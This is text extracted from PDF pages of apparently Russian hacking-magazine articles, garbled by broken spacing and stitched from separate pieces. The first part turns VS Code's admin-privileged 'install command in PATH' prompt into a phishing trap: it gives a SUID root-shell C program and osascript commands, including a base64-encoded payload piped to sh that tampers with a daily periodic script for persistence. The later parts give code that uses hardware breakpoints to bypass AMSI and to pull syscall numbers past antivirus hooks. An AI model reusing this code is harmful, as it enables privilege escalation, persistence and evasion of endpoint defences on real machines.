î÷åíü

ÌÎÄÈÔÈÖÈÐÓÅÌ VS CODE

Нес мотря на то что VS Code мож но запус кать с при виле гиями поль зовате ля,
внут ри есть допол нитель ные фун кции, которые тре буют прав адми нис тра- 
тора. Нап ример,  коман ды  в кон соль (для это го вно сят ся

изме нения в сис темный ). В VS Code это дела ется коман дой

из Command Palette (Command-Shift-P).

ин тегра ция code
PATH

Хо тя раз работ чики Code нас тоятель но  изме нять встро- 
енные сис темные коман ды, хакеры любят жить опас но, поэто му спо соб есть.

не рекомен дуют

Греп нув каталог с VS Code по стро ке , най дем отсылку к JS-

фун кции :

command in PATH
installCommandLine

 

 

 

$ pwd 
/Applications/Visual Studio Code.app

$ grep -r 'command in PATH' 
./Contents/Resources/app/out/vs/workbench/workbench.desktop.main.js:... 
class S extends I.Action2{constructor() 
{super({id:"workbench.action.installCommandLine",title:{value:
(0,t.localize)(1,null,L.default.applicationName),original:

} ...
Install  '${L.

default.applicationName}' command in PATH

Да лее, греп нув по , най дем само тело исполня емой

коман ды.

installCommandLine

 

 

$ grep -r 'installShellCommand' 
./Contents/Resources/app/out/vs/code/electron-main/main.js:... async 
installShellCommand(T){const{source:U,target:H}=await 
this.n();try{const{symbolicLink:re}=await 
p.SymlinkSupport.stat(U);if(re&&!re.dangling){const 
Y=await(0,u.realpath) (U);if(H===Y)return}await 
p.Promises.unlink(U)}catch(re){if(re.code!=="ENOENT")throw re}try{await 
p.Promises.symlink(H,U)}catch(re) 
{if(re.code!=="EACCES"&&re.code!=="ENOENT")throw 
re;const{response:Y}=await this.showMessageBox(T,{type:"info",message:
(0,y.localize) (0,null,this.h.nameShort),buttons:[(0,y.localize)
(1,null),(0,y.localize)(2,null)]});if(Y===0)try{const ne=

;await(0,O.promisify)(E.exec) 
(ne)}catch{throw new Error((0,y.localize)(3,null,U))}}} ...

osascript -e 
"do shell script \"mkdir -p /usr/local/bin && ln -sf '${H}' '${U}'\" 
with administrator privileges"

Как видишь, нич то не меша ет нам добавить собс твен ное дей ствие к коман де
, но надо при думать, что имен но мы можем сде лать для сох- 

ранения и пос леду юще го вос ста нов ления при виле гиро ван ного дос тупа.

osascript

 osascript -e "do shell script \"mkdir -p /usr/local/bin \
&& ln -sf '${H}' '${U}'\" with administrator privileges"

Курс Offensive Security «EXP-312: Advanced macOS Control Bypasses» пред- 
лага ет изме нить нас трой ки PAM-модуля (а имен но переч ня обя затель ных
кри тери ев при аутен тифика ции через sudo), что бы имперсо ниро вать root
без пароля. Это дела ется с помощью изме нения фай ла нас тро ек 

.

/etc/pam.
d/sudo

К сожале нию, этот спо соб не взле тел в macOS 13.2.1, пос коль ку теперь
недос таточ но быть рутом, что бы менять содер жимое чувс тви тель ных фай лов
на дис ке (все, что свя зано с кре дами и аутен тифика цией). Для это го у про- 
цес са, который зап рашива ет такие изме нения, дол жна быть при виле гия Full
Disk Access, которая навеши вает ся толь ко через GUI.

Мы решили пой ти дедов ским спо собом и соз дать SUID-бинарь (бла го хоть
это на «маке» работа ет):

// gcc -o suidshell suidshell.c
// ./suidshell root
#include <stdlib.h>
#include <sys/types.h>
#include <pwd.h>
#include <unistd.h>

   void change_to_user(const char *szUserName)
{

  struct passwd *pw;
  pw = getpwnam(szUserName);
   if (pw != NULL)

{
   uid_t uid = pw->pw_uid;

    if (setuid(uid) == 0) system("/bin/bash -p");
}
}

    int main(int argc, char **argv)
{

     if (argc == 1) return 1;
         for (int i = 1; i < argc; i++) change_to_user(argv[i]);

 return 0;
}

Те перь мож но добавить веселые коман ды к кус ку кода, наг репан ному выше,
что бы навесить нуж ного вла дель ца и SUID-бит на шелл:

 osascript -e "do shell script \"chown root:wheel /tmp/suidshell \
&& chmod u+s /tmp/suidshell \
&& mkdir -p /usr/local/bin && ln -sf  '${H}' '${U}'\" with 
administrator privileges"

Еще нем ного покопав шись, мы откры ли дру гую инте рес ную воз можность —
вмес то того что бы класть SUID-бинарь на диск непос редс твен но
перед фишин гом, мож но добавить коман ды выше к задаче 

, которая выпол няет ся ежед невно:

/etc/periodic/
daily/110.clean-tmps

    sed -i '' -e 's/exit \$rc/chown root:wheel \/tmp\/\suidshell \&\& 
chmod u+s \/tmp\/\suidshell\nexit \$rc/' /etc/periodic/daily/110.
clean-tmps 

 osascript -e "do shell script \" echo
c2VkIC1pICcnIC1lICdzL2V4aXQgXCRyYy9jaG93biByb290OndoZWVsIFwvdG1wXC9cc
3VpZHNoZWxsIFwmXCYgY2htb2QgdStzIFwvdG1wXC9cc3VpZHNoZWxsXG5leGl0IF 
wkcmMvJyAvZXRjL3BlcmlvZGljL2RhaWx5LzExMC5jbGVhbi10bXBz | base64 -d | 
sh && mkdir -p /usr/local/bin && ln -sf '${H}' '${U}'\" with 
administrator privileges"

Так мож но диф ферен цировать ход LPE: сна чала отре дак тировать запус- 
каемую по рас писанию задачу, а потом при нес ти SUID-шелл и дожидать ся
его повыше ния.

До выпол нения скам-коман ды

Вы пол нение скам-коман ды

Пос ле выпол нения скам-коман ды

В резуль тате получа ем натив ное диало говое окно для зап роса повыше ния
при виле гий. Пожалуй, это переве шива ет все недос татки. Какие? Увы, так
нель зя ута щить пароль адми на в виде тек ста, к тому же нуж но класть на диск
допол нитель ный бинарь, что может выз вать сра баты вание монито рин га, если
он исполь зует ся. И конеч но, если админ при тащит свой экзем пляр VS Code,
жмем F to pay respects.

ÂÛÂÎÄ

При кинув шись бес помощ ным юзе ром, пол ностью находя щим ся во влас ти
все могу щего адми на (то есть сот рудни ка тех поддер жки), мож но чужими
руками «бес плат но» повысить себе локаль ные при виле гии на мак буке
и потен циаль но раз жить ся допол нитель ными дос тупами. GGWP!

https://ppn.snovvcrash.rocks/
https://award.awillix.ru/
https://www.mdsec.co.uk/2021/01/macos-post-exploitation-shenanigans-with-vscode-extensions/
https://code.visualstudio.com/docs/setup/mac#_launching-from-the-command-line
https://code.visualstudio.com/api/ux-guidelines/command-palette
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ВЗЛОМ

Windows пре дос тавля ет мощ ные инс тру- 
мен ты для уста нов ки точек оста нова непос- 
редс твен но в памяти. Но зна ешь ли ты, что
с их помощью мож но ста вить и сни мать
хуки, а так же получать сис колы? В этой
статье я в под робнос тях рас ска жу, как это
делать.

Точ ки оста нова слу жат для кон тро ля выпол нения прог раммы и, конеч но же, их
оста нов ки в опре делен ный момент. Гло баль но сущес тву ет два вида
брейк-пой нтов: software breakpoints и hardware breakpoints.

Software breakpoint — точ ка оста нова, которая ста вит ся с помощью
отладчи ка или IDE. Что бы пос тавить такую точ ку оста нова, мож но, нап ример,
прос то клик нуть на нуж ную стро ку прог раммы в Visual Studio.

Ус танов ка software breakpoint в Visual Studio

Та кие точ ки оста нова мож но ста вить где угод но и сколь ко угод но. Никаких
огра ниче ний нет.

Ус танов ка мно жес тва software breakpoint

Hardware breakpoint — уже более слож ная шту ка, которую мы сегод ня и будем
изу чать. Эти бря ки ста вят ся путем запол нения спе циаль ных отла доч ных
регис тров про цес сора (DR0–DR7). Сог ласно докумен тации, Dr0–3 дол жны
хра нить адрес, по которо му уста нов лен breakpoint, но у меня бряк сра баты- 
вал, толь ко если адрес запол нялся в DR0.

Пер вые три регис тра называ ются регис тра ми с отла доч ными адре сами
(Debug Address Registers). Регис тры с номера ми 4 и 5 не исполь зуют ся
и называ ются зарезер вирован ными отла доч ными регис тра ми (Reserved
Debug Registers). DR6 содер жит раз личную информа цию о сра ботав шем
исклю чении. Исклю чение — это событие, воз ника ющее, ког да компь ютер
пыта ется выпол нить инс трук цию, адрес которой рас положен в DR0.
DR7 содер жит биты управле ния отладкой. Если зна чение рав но еди нице, то
точ ка оста нова дол жна сра ботать, если нулю, то не дол жна.

Hardware breakpoints, как ты понима ешь, через кра сивый GUI не ста вят ся.
Нам пот ребу ется вза имо дей ство вать с регис тра ми нап рямую, исполь зуя,
конеч но же, наш любимый WinAPI. И само собой, толь ко хар двер ные брей ки
поз волят хукать, обхо дить AMSI и получать сис колы. Соф твер ные, к сожале- 
нию, для это го не под ходят.

ÎÁÐÀÁÎÒÊÀ ÈÑÊËÞ×ÅÍÈÉ

Итак, исклю чение воз ника ет при попыт ке выпол нить инс трук цию, на которой
сто ит точ ка оста нова. По сво ей натуре оно при этом точ но такое же, как,
к при меру, при попыт ке деления на ноль.

Как выг лядит исклю чение

Лю бые исклю чения могут быть обра бота ны. Здесь есть два пути — VEH
(Vectored Exception Handling) и SEH (Structured Exception Handling). Отдель но я
выделю еще UEH (Unhandled Exception Handling). Нач нем с SEH. SEH — стан- 
дар тный блок , .__try — __finally __try — __except

#include <iostream>
#include <Windows.h>

  int main() {
     int a = 2 - 2;
   int b = 3;
 __try {

       std::cout << b / a << std::endl;
}

  __except (EXCEPTION_EXECUTE_HANDLER) {
     std::cout << "EXCEPTION" << std::endl;
}

 return 0;
}

Об работ ка исклю чения с помощью SEH

SEH мож но счи тать надс трой кой над конс трук цией try — except из С++. В SEH
в блок  добав ляют ся спе циаль ные зна чения, в зависи мос ти
от которых может менять ся поведе ние обра бот чика исклю чений:

__except

 — сис тема переда ет управле ние в обра- 
бот чик исклю чения. То есть будет поведе ние, как в коде выше;

• EXCEPTION_EXECUTE_HANDLER

 — эта конс трук ция зас тавля ет сис тему
перей ти к пре дыду щему бло ку , которо му соот ветс тву ет блок ,
и обра ботать этот блок. То есть сис тема игно риру ет текущий обра бот чик
исклю чений и пыта ется най ти обра бот чик исклю чений в охва тыва ющем
бло ке (или бло ках);

• EXCEPTION_CONTINUE_SEARCH

try except

 — обна ружив такое зна чение, сис- 
тема воз вра щает ся к инс трук ции, выз вавшей исклю чение, и пыта ется
выпол нить ее сно ва.

• EXCEPTION_CONTINUE_EXECUTION

Ни же — при мер .EXCEPTION_CONTINUE_EXECUTION

#include <iostream>
#include <cstddef>
#include <Windows.h>

 char g_szBuffer[100];

   LONG Filter(char** ppchBuffer) {
    if (*ppchBuffer == NULL) {

   *ppchBuffer = g_szBuffer;
 return(EXCEPTION_CONTINUE_EXECUTION);
}
return(EXCEPTION_EXECUTE_HANDLER);
}

  int main() {
   int x = 0;
   char* pchBuffer = NULL;
 __try {

   *pchBuffer = 'J';
     x = 5 / x;
}

  __except (Filter(&pchBuffer)) {
    MessageBox(NULL, L"An exception occurred", NULL, MB_OK);
}

   MessageBox(NULL, L"Function completed", NULL, MB_OK);
 return 0;

}

При мер EXCEPTION_CONTINUE_EXECUTION

Прог раммы могут быть слож ные, страш ные, боль шие, нуж но пре дус матри- 
вать кор рек тный выход из всех бло ков, изу чать воз можные исклю чения. Вдруг
пот ребу ется фун кция уве дом ления поль зовате ля о сра ботав шем исклю- 
чении? В общем, SEH хорош, но, помимо него, появил ся и VEH. VEH мож но
счи тать эда кой надс трой кой над SEH. Работа ет она, само собой, толь ко
в Windows.

Ес ли в прог рамме воз ника ет исклю чение, то пер выми вызыва ются имен но
век торные обра бот чики и лишь затем сис тема нач нет раз ворачи вать стек.
С помощью VEH про га может, нап ример, зарегис три ровать фун кцию
для прос мотра или обра бот ки всех исклю чений при ложе ния. При чем в прог- 
рамму мож но добавить нес коль ко VEH-обра бот чиков, и они будут выз ваны
в том поряд ке, в котором были добав лены. Пер вый — пер вым, вто рой — вто- 
рым и так далее. SEH пос ле VEH вызыва ется толь ко в том слу чае, если VEH
вер нул .EXCEPTION_CONTINUE_SEARCH

С помощью VEH мож но ловить исклю чения, воз ника ющие при хар двер ных
брей ках. Добавить обра бот чик мож но с помощью фун кции

.AddVectoredExceptionHandler()

 PVOID AddVectoredExceptionHandler(
 ULONG FirstHandler,

 PVECTORED_EXCEPTION_HANDLER VectoredHandler)

 — вызывать обра бот чик рань ше всех ранее зарегис три- 
рован ных обра бот чиков (зна чение ) или пос ле всех (зна чение

);

• FirstHandler

CALL_FIRST

CALL_LAST

 — адрес фун кции обра бот чика. Эта фун кция дол жна
воз вра щать . Обра бот чики далее
не выпол няют ся, обра бот ка средс тва ми SEH не про изво дит ся, управле ние
переда ется в ту точ ку прог раммы, из которой было выз вано исклю чение
или  (выпол няет ся сле дующий век торный
обра бот чик, а если таких нет, то раз ворачи вает ся SEH).

• VectoredHandler

EXCEPTION_CONTINUE_EXECUTION

EXCEPTION_CONTINUE_SEARCH

За регис три руем обра бот чик и про верим работу VEH. Исклю чени ем пока
будет стан дар тный . То есть обра щение к ука зате- 
лю, который име ет зна чение .

Null-Pointer Reference
nullptr

#include <iostream>
#include <windows.h>
#include <errhandlingapi.h>

   LONG WINAPI MyVectoredExceptionHandler(PEXCEPTION_POINTERS
exceptionInfo)
{

    std::cout << "Exception occurred!" << std::endl;
    

  
std::cout << "Exception Code: " << exceptionInfo->ExceptionRecord->
ExceptionCode << std::endl;

    
  

std::cout << "Exception Address: " << exceptionInfo->ExceptionRecord
->ExceptionAddress << std::endl;

 return EXCEPTION_CONTINUE_SEARCH;
}

 int main()
{

    if (AddVectoredExceptionHandler(1, MyVectoredExceptionHandler) ==
nullptr)
{
     std::cout << "Failed to add the exception handler!" << std::endl;
  return 1;
}

   int* p = nullptr;
   *p = 42; // Исключение возникает тут

 return 0;
}

Об работ ка исклю чения с помощью VEH

Ви дим, что обра бот чик успешно сра баты вает и вызыва ется, затем воз вра- 
щает . Это, в свою оче редь, дер гает SEH, SEH

в прог рамме нет, поэто му Visual Studio вклю чает ся и выда ет нам исклю чение.
Если будем воз вра щать , то получим бес- 
конеч ный вызов обра бот чика, так как каж дый раз будет сра баты вать стро ка

.

EXCEPTION_CONTINUE_SEARCH

EXCEPTION_CONTINUE_EXECTION

*p = 42

Бес конеч ная обра бот ка исклю чения

Точ но такое же исклю чение будет сра баты вать и при хар двер ных бря ках.
На конец, пос ледний тип обра бот чиков — Unhandled Exception Filter. Он

ред ко ког да исполь зует ся, но изна чаль но задумы вал ся как обра бот чик
для исклю чений, которые вооб ще ник то не обра баты вает. Ни VEH (если
отсутс тву ет или вер нул ), ни SEH (если тоже

отсутс тву ет или ука зано ). Уста нав лива ются

такие обра бот чики через фун кцию .

EXCEPTION_CONTINUE_SEARCH
EXCEPTION_CONTINUE_SEARCH

SetUnhandledExceptionFilter()

 LPTOP_LEVEL_EXCEPTION_FILTER SetUnhandledExceptionFilter(
   [in] LPTOP_LEVEL_EXCEPTION_FILTER lpTopLevelExceptionFilter
);

Фун кция при нима ет один-единс твен ный параметр — адрес фун кции-обра- 
бот чика, которая дол жна вызывать ся при воз никно вении необ работан ного
исклю чения. С помощью UEF так же ловят ся исклю чения, воз ника ющие
при бря ках.

Возь мем прош лый код и переде лаем его под UEF.

#include <iostream>
#include <windows.h>

   LONG WINAPI MyUnhandledExceptionHandler(PEXCEPTION_POINTERS
exceptionInfo)
{

    std::cout << "Unhandled exception occurred!" << std::endl;

    
  

std::cout << "Exception Code: " << exceptionInfo->ExceptionRecord->
ExceptionCode << std::endl;

    
  

std::cout << "Exception Address: " << exceptionInfo->ExceptionRecord
->ExceptionAddress << std::endl;

 return EXCEPTION_CONTINUE_SEARCH;
}

 int main()
{

   if (SetUnhandledExceptionFilter(MyUnhandledExceptionHandler) ==
nullptr)
{
     std::cout << "Failed to set the unhandled exception filter!" << std
::endl;
  return 1;
}

   int* p = nullptr;
  *p = 42;

 return 0;
}

Об рати вни мание, что если ты запус тишь этот код в Visual Studio, то она
выдаст ошиб ку до UEF.

Ис клю чение от «Сту дии», а не от UEF

Это свя зано с тем, что исклю чение в дан ном слу чае обра баты вает Visual
Studio. Если же файл будет запущен за пре дела ми IDE, то мы получим
успешный вызов обра бот чика.

Вы зов обра бот чика

Продолжение статьи →

https://t.me/Michaelzhm
https://learn.microsoft.com/ru-ru/windows/win32/api/errhandlingapi/nf-errhandlingapi-addvectoredexceptionhandler
https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-setunhandledexceptionfilter
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ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÓÑÒÀÍÎÂÊÀ HARDWARE BREAKPOINT

Ус тановить HWBP про ще прос того — дос таточ но лишь занес ти в нуж ный
регистр адрес. Для боль шей абс трак ции я написал фун кцию , куда
нуж но передать адрес, по которо му сле дует уста новить точ ку оста нова,
булево зна чение (  — уста новить,  — снять), а так же номер регис- 

тра. Сог ласно докумен тации, адрес может быть ука зан в ,  и так далее,

но у меня почему-то работа ло толь ко с .

SetHWBP()

TRUE FALSE
Dr0 Dr1

Dr0

// address — адрес, по которому ставить функцию
// setBP — FALSE — снять бряк, TRUE — установить
// regnumer — номер регистра, который инициализировать адресом

       VOID SetHWBP(LPVOID address, BOOL setBP, int regnumber) {
// Здесь передаем 0

     CONTEXT context = { 0 };
  context.ContextFlags = CONTEXT_DEBUG_REGISTERS;

 GetThreadContext(GetCurrentThread(), &context);
// Почему-то бряк, если адрес записывать в регистры, отличные от 
Dr0, не срабатывает

        std::string registerNames[] = { "Dr0", "Dr1", "Dr2", "Dr3" };
  if (setBP) {

        
 

DWORD64* registers[] = { &context.Dr0, &context.Dr1, &context.Dr2,
&context.Dr3 };
         if (regnumber >= 0 && regnumber < 4) {
    *registers[regnumber] = (DWORD64)address;
        std::cout << "Writing Address to " << registerNames[regnumber] <<
std::endl;
 }
  else {
      std::wcout << L"Invalid Registry Number" << std::endl;
  exit(-1);
 }
 // Установка бита 0 в DR7 для активации DR0
   context.Dr7 |= 1;
 // Установка битов 16–17 в DR7 для типа точки останова (Execute)
     context.Dr7 |= (0b00 << 16);
 // Установка битов 18–19 в DR7 для длины точки останова (1 byte)
     context.Dr7 |= (0b00 << 18);
}

 else {
   context.Dr0 = 0;
   context.Dr1 = 0;
   context.Dr2 = 0;
   context.Dr3 = 0;
     context.Dr7 &= ~(1 << 0);
}

  context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
 SetThreadContext(GetCurrentThread(), &context);

}

Для получе ния зна чения регис тров текуще го потока исполь зует ся фун кция
, а для уста нов ки изме нен ных зна чений исполь зует ся
.

GetThreadContext()
SetThreadContext()

При чем, если мы хотим обра баты вать толь ко исклю чения, сра ботав шие
из-за HWBP, в нашей фун кции-обра бот чике сле дует пре дус мотреть про вер ку
на наличие в струк туре  эле мен та , рав- 

ного . Это зна чение сви детель ству ет о том, что воз- 

никло событие, ког да одна инс трук ция завер шает ся и сле дующая инс трук ция
готова к выпол нению.

EXCEPTION_POINTERS ExceptionCode
STATUS_SINGLE_STEP

   LONG WINAPI Handler(PEXCEPTION_POINTERS exceptionInfo)
{

   
 

if (exceptionInfo->ExceptionRecord->ExceptionCode ==
STATUS_SINGLE_STEP) {
     std::cout << "Unhandled exception occurred!" << std::endl;

  // Проверка, что реально наш бряк сработал
    

    
  

    
   

if (exceptionInfo->ContextRecord->Dr0 == exceptionInfo->
ContextRecord->Rip || exceptionInfo->ContextRecord->Dr1 ==
exceptionInfo->ContextRecord->Rip || exceptionInfo->ContextRecord->
Dr2 == exceptionInfo->ContextRecord->Rip || exceptionInfo->
ContextRecord->Dr3 == exceptionInfo->ContextRecord->Rip) {
        

  
std::cout << "[-] Breakpoint triggered 0x" << std::hex <<

exceptionInfo->ExceptionRecord->ExceptionAddress << std::endl;
        

  
std::cout << "[!] Exception Code 0x" << std::hex << exceptionInfo

->ExceptionRecord->ExceptionCode << std::endl;
        

  
std::cout << "[!] RIP 0x" << std::hex << exceptionInfo->

ContextRecord->Rip << std::endl;
        

  
std::cout << "[!] RAX 0x" << std::hex << exceptionInfo->

ContextRecord->Rax << std::endl;
        

  
std::cout << "[!] RCX 0x" << std::hex << exceptionInfo->

ContextRecord->Rcx << std::endl;
        

  
std::cout << "[!] RDX 0x" << std::hex << exceptionInfo->

ContextRecord->Rdx << std::endl;
 }

     exceptionInfo->ContextRecord->EFlags |= (1 << 16);
  return EXCEPTION_CONTINUE_EXECUTION;

}
// Вернем EXCEPTION_CONTINUE_SEARCH, чтобы передать исключение 
дальше

 return EXCEPTION_CONTINUE_SEARCH;
}

Ис поль зовать в сво ей прог рамме этот код про ще прос того. Вот при мер.

#include <iostream>
#include <windows.h>

   LONG WINAPI Handler(PEXCEPTION_POINTERS exceptionInfo)
{

   
 

if (exceptionInfo->ExceptionRecord->ExceptionCode ==
STATUS_SINGLE_STEP) {
     std::cout << "Unhandled exception occurred!" << std::endl;

 // Проверка того, что наш бряк реально сработал
    

    
  

    
   

if (exceptionInfo->ContextRecord->Dr0 == exceptionInfo->
ContextRecord->Rip || exceptionInfo->ContextRecord->Dr1 ==
exceptionInfo->ContextRecord->Rip || exceptionInfo->ContextRecord->
Dr2 == exceptionInfo->ContextRecord->Rip || exceptionInfo->
ContextRecord->Dr3 == exceptionInfo->ContextRecord->Rip) {
        

  
std::cout << "[-] Breakppint triggered " << std::hex <<

exceptionInfo->ExceptionRecord->ExceptionAddress << std::endl;
        

  
std::cout << "[!] Exception Code " << std::hex << exceptionInfo->

ExceptionRecord->ExceptionCode << std::endl;
        

  
std::cout << "[!] RIP " << std::hex << exceptionInfo->

ContextRecord->Rip << std::endl;
        

  
std::cout << "[!] RAX " << std::hex << exceptionInfo->

ContextRecord->Rax << std::endl;
        

  
std::cout << "[!] RCX " << std::hex << exceptionInfo->

ContextRecord->Rcx << std::endl;
        

  
std::cout << "[!] RDX " << std::hex << exceptionInfo->

ContextRecord->Rdx << std::endl;
        

  
std::cout << "[!] R8 " << std::hex << exceptionInfo->ContextRecord

->R8 << std::endl;
        

  
std::cout << "[!] R9 " << std::hex << exceptionInfo->ContextRecord

->R9 << std::endl;
        

  
std::cout << "[!] RSP " << std::hex << exceptionInfo->

ContextRecord->Rsp << std::endl;
        

  
std::cout << "[!] Dr0 " << std::hex << exceptionInfo->

ContextRecord->Dr0 << std::endl;
 }

     exceptionInfo->ContextRecord->EFlags |= (1 << 16);
  return EXCEPTION_CONTINUE_EXECUTION;

}
// Вернем EXCEPTION_CONTINUE_SEARCH, чтобы передать исключение 
дальше

 return EXCEPTION_CONTINUE_SEARCH;
}

       VOID SetHWBP(LPVOID address, BOOL setBP, int regnumber) {
     CONTEXT context = { 0 };

  context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
 GetThreadContext(GetCurrentThread(), &context);

// Почему-то бряк, если адрес записывать в регистры, отличные от 
Dr0, не срабатывает

        std::string registerNames[] = { "Dr0", "Dr1", "Dr2", "Dr3" };
  if (setBP) {

        
 

DWORD64* registers[] = { &context.Dr0, &context.Dr1, &context.Dr2,
&context.Dr3 };
         if (regnumber >= 0 && regnumber < 4) {
    *registers[regnumber] = (DWORD64)address;
        std::cout << "Writing Address to " << registerNames[regnumber] <<
std::endl;
 }
  else {
      std::wcout << L"Invalid Registry Number" << std::endl;
  exit(-1);
 }
 // Установка бита 1 в DR7 для активации DR0
   context.Dr7 |= 1;
 // Установка битов 16–17 в DR7 для типа точки останова (Execute)
     context.Dr7 |= (0b00 << 16);
 // Установка битов 18–19 в DR7 для длины точки останова (1 byte)
     context.Dr7 |= (0b00 << 18);
}

 else {
   context.Dr0 = 0;
   context.Dr1 = 0;
   context.Dr2 = 0;
   context.Dr3 = 0;
     context.Dr7 &= ~(1 << 0);
}

  context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
 SetThreadContext(GetCurrentThread(), &context);

}
 int main()

{

    if (AddVectoredExceptionHandler(1, Handler) == nullptr)
{
     std::cout << "Failed to set the vectored exception filter!" << std:
:endl;
  return 1;
}
// Адрес функции printf

   void* targetAddress = (void*)printf;
  SetHWBP(targetAddress, TRUE, 0);

// Генерация сигнала точки останова
printf("Hello, world!");

 return 0;
}

Здесь был уста нов лен HWBP по адре су фун кции . Как толь ко сис- 

тема дош ла до вызова этой фун кции, сра бота ло исклю чение, выз вался обра- 
бот чик исклю чений, вывел содер жимое регис тров, а затем вер нул управле- 
ние на фун кцию, что при вело к появ лению в кон соли .

printf()

Hello, world!

Сра ботав ший HWBP

Те перь мы научи лись ста вить бря ки. Как же их исполь зовать для пен тестер- 
ских целей?

ÎÁÕÎÄ AMSI

У AMSI есть фун кция , которая слу жит для ска ниро вания

буфера на пред мет наличия злов редов. Нич то нам не меша ет пос тавить
HWBP на эту фун кцию, перех ватить поток управле ния и зас тавить фун кцию
вер нуть . Этот метод уже дав но известен, и  лежит

на GitHub.

AmsiScanBuffer()

AMSI_RESULT_CLEAN код

При чем, если нам не под ходит реали зация на C++, есть на C#, про ект
называ ется . Он пат чит AMSI и ETW, исполь зуя хар двер ные
брейк-пой нты. Для это го вынесен отдель ный метод .

SharpBlock
EnableBreakpoint()

От дель ный метод

Об рати вни мание, что в зависи мос ти от архи тек туры исполь зуют ся раз ные
методы. Если у нас х86, то адрес сле дует кон верти ровать с помощью метода

, а ког да в х64, то .<addr>.ToInt32() <addr>.ToInt64()

Фун кция EnableBreakpoint для х86

Фун кция EnableBreakpoint для х64

Продолжение статьи →

https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext
https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getthreadcontext
https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf
https://github.com/CCob/SharpBlock


ИСПОЛЬЗУЕМ ХАРДВЕРНЫЕ БРЕЙК-ПОЙНТЫ
В ПЕНТЕСТЕРСКИХ ЦЕЛЯХ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÇÂËÅ×ÅÍÈÅ ÍÎÌÅÐÎÂ ÑÈÑÊÎËÎÂ

Сис колы поз воля ют нап рямую обра тить ся к ядру опе раци онной сис темы, что
поможет избе жать хуков в user mode. Под робно сис колы я рас смат ривал
в матери але « ».
Сей час же пред лагаю обра тить вни мание на про ект . Этот
про ект исполь зует UEF для извле чения номеров сис колов. Сна чала прос то
ста вит ся фун кция-обра бот чик.

Вра та ада. Перепи сыва ем Hell’s Gate и обхо дим анти вирус
TamperingSyscalls

  SetUnhandledExceptionFilter( OneShotHardwareBreakpointHandler );

Сле дом идет поиск адре са  фун кции и уста нов ка бря ка на адрес syscall

этой фун кции. Для это го точ ка оста нова ста вит ся непос редс твен но на саму
инс трук цию. Адрес инс трук ции находит ся стан дар тным ска ниро вани ем
памяти на пат терны (а имен но на пос ледова тель ность бай тов ).

Nt*

0f05

    LPVOID FindSyscallAddress( LPVOID function )
{

      BYTE stub[] = { 0x0F, 0x05 };
           for( unsigned int i = 0; i < (unsigned int)25; i++ )

{
            if( memcmp( (LPVOID)((DWORD_PTR)function + i), stub, 2 ) == 0 ) {
     return (LPVOID)((DWORD_PTR)function + i);
 }
}

 return NULL;
}

Ког да адрес най ден, на него уста нав лива ется хар двер ный брейк-пой нт
с помощью сле дующей фун кции:

    VOID SetOneshotHardwareBreakpoint( LPVOID address )
{

     CONTEXT context = { 0 };
  context.ContextFlags = CONTEXT_DEBUG_REGISTERS;

   GetThreadContext( GetCurrentThread(), &context );

  context.Dr0 = (DWORD64)address;
  context.Dr6 = 0;
              context.Dr7 = (context.Dr7 & ~(((1 << 2) - 1) << 16)) | (0 << 16);
              context.Dr7 = (context.Dr7 & ~(((1 << 2) - 1) << 18)) | (0 << 18);
              context.Dr7 = (context.Dr7 & ~(((1 << 1) - 1) << 0)) | (1 << 0);

  context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
   SetThreadContext( GetCurrentThread(), &context );

return;
}

Нап ример, если мы хотим засис колить фун кцию , то

сна чала генери руем нуж ный код с помощью фай ла .

NtMapViewOfSection()
gen.py

  python gen.py NtMapViewOfSection

Это при ведет к соз данию трех фай лов: ,
 и . Вклю чаем фай лы в про ект, пос ле чего

под клю чаем заголо воч ный.

TamperingSyscalls.cpp
TamperingSyscalls.h main.cpp

#include "TamperingSyscalls.h"

И вызыва ем нуж ные фун кции, прос то добав ляя  к име ни.p

       
    

pNtMapViewOfSection( section, NtCurrentProcess(), &addr, 0, 0, NULL,
&size, 1, 0, PAGE_READONLY );

Внут ри сге нери рован ной фун кции идет получе ние адре са
 из .NtMapViewOfSection() ntdll.dll

     
       
     

      

NTSTATUS pNtMapViewOfSection( HANDLE SectionHandle, HANDLE
ProcessHandle, PVOID BaseAddress, ULONG ZeroBits, SIZE_T CommitSize,
PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD
InheritDisposition, ULONG AllocationType, ULONG Win32Protect ) {

 LPVOID FunctionAddress;
 NTSTATUS status;

  hash( NtMapViewOfSection );
     

  
FunctionAddress = GetProcAddrExH( hashNtMapViewOfSection, hashNTDLL
); typeNtMapViewOfSection fNtMapViewOfSection;

  pNtMapViewOfSectionArgs.SectionHandle = SectionHandle;
  pNtMapViewOfSectionArgs.ProcessHandle = ProcessHandle;

  pNtMapViewOfSectionArgs.BaseAddress = BaseAddress;
  pNtMapViewOfSectionArgs.ZeroBits = ZeroBits;
  pNtMapViewOfSectionArgs.CommitSize = CommitSize;

  pNtMapViewOfSectionArgs.SectionOffset = SectionOffset;
  pNtMapViewOfSectionArgs.ViewSize = ViewSize;

  pNtMapViewOfSectionArgs.InheritDisposition = InheritDisposition;
  pNtMapViewOfSectionArgs.AllocationType = AllocationType;

  pNtMapViewOfSectionArgs.Win32Protect = Win32Protect;
  fNtMapViewOfSection = (typeNtMapViewOfSection)FunctionAddress;

  EnumState = NTMAPVIEWOFSECTION_ENUM;

    SetOneshotHardwareBreakpoint( FindSyscallAddress( FunctionAddress )
);

       
 

  
 

  

status = fNtMapViewOfSection( NULL, NULL, NULL, NULL,
pNtMapViewOfSectionArgs.CommitSize, pNtMapViewOfSectionArgs.
SectionOffset, pNtMapViewOfSectionArgs.ViewSize,
pNtMapViewOfSectionArgs.InheritDisposition, pNtMapViewOfSectionArgs.
AllocationType, pNtMapViewOfSectionArgs.Win32Protect );

 return status;
}

Для получе ния адре са исполь зует ся тех ника API Hashing, которую я демонс- 
три ровал в статье «

». Хеш счи тает ся с помощью одно имен ного мак роса.
